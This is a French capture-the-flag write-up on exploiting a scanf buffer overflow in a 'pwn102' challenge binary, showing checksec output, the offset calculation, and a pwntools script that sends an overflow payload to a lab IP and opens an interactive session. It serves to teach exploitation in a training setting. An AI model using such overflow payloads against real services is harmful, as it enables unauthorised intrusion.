L'overflow __scanf
On peut commencer par voir les protections associées à notre binaire :
┌──(arthur㉿LAPTOP-KSNUF8N7)-[~/case]
└─$ checksec --file=pwn102-1644307392479.pwn102
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 73 Symbols No 0 1 pwn102-1644307392479.pwn102
"No canary" indique qu'il est vraissemblablement possible d'overflow, mais "NX enabled" signifie que nous ne pourrons pas exécuter de shellcode dans notre overflow. De plus, "PIE enabled" signifie que les adresses changeront à chaque exécution.
On décompile notre binaire dans Binary Ninja, et on cherche les adresses qui nous intéressent :

On en déduit la différence : 0x78 - 0xc = 0x6c
on sait donc que pour écrire dans la variable 0xc, il nous faut 0x6c bytes de padding (soit 108 bytes) puis la valeur souhaitée.
En connaissant la taille de la variable (dans l'exemple, int_32_t implique 4 bytes), on en déduit notre payload en ajoutant des bytes nulls devant notre valeur si nécessaire.
On n'oublie pas de s'accorder sur l'endianess et cela nous donne un payload : b"\x41" * 108 + b'\xd3\xc0\x00\x00'
Si on compile notre script python :
from pwn import *
io = remote('10.130.172.71', 9002)
print(io.recvregex(b'right?').decode('utf-8'))
payload = b'\x41'*104 + b'\xd3\xc0\x00\x00' + b'\x33\xff\xc0\x00'
io.sendline(payload)
print(io.readline().decode('utf-8'))
io.interactive()